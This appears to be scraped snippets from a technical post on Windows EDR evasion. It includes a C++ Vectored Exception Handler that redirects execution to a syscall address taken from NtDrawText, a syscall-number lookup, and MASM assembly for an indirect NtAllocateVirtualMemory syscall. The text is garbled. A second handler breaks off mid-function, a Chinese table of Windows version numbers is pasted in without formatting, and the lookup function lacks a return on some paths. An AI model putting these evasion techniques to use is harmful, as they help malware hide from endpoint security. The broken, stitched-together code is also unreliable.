// Vectored Exception Handler function LONG CALLBACK PvectoredExceptionHandler(PEXCEPTION_POINTERS exception_ptr) { // Check if the exception is an access violation if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) { // Modify the thread's context to redirect execution to the syscall address // Copy RCX register to R10 exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;
// Set RIP to global address (set syscalls address retrieved from NtDrawText to RIP register) exception_ptr->ContextRecord->Rip = g_syscall_addr;
// Continue execution at the new instruction pointer return EXCEPTION_CONTINUE_EXECUTION; } // Continue searching for another exception handler return EXCEPTION_CONTINUE_SEARCH; }
// define var std::map<int, string> Nt_Table; DWORD t = 0; LPVOID m_Index = m_Index = GetProcAddress(GetModuleHandleA("Ntdll.dll"), "NtDrawText");//a safe function address that may not be hooked by edr
intGetSSN(std::string apiname) { int index = 0; for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) { if (apiname == iter->second) return index; index++; } }
//VEH function LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) { // handle EXCEPTION_ACCESS_VIOLATION if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) { // Construct syscall stub
OSMajorVersion 一个表示操作系统的主版本号的数字。 下表定义了 Windows 操作系统的主版本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Windows 版本 主版本 Windows 11 (所有版本) 10 Windows Server 202210 Windows Server 201910 Windows Server 201610 Windows 10 (所有版本) 10 Windows Server 2012 R2 6 Windows 8.16 Windows Server 20126 Windows 86 Windows Server 2008 R2 6 Windows 76 Windows Server 20086 Windows Vista 6 Windows Server 2003 R2 5 Windows Server 20035 Windows XP 5 Windows 20005
.CODE ; indirect syscalls assembly code ; Procedure for the NtAllocateVirtualMemory syscall NtAllocateVirtualMemory PROC mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers. mov eax, 18h ; Move the syscall number into the eax register. jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall memory address in ntdll.dll NtAllocateVirtualMemory ENDP ; End of the procedure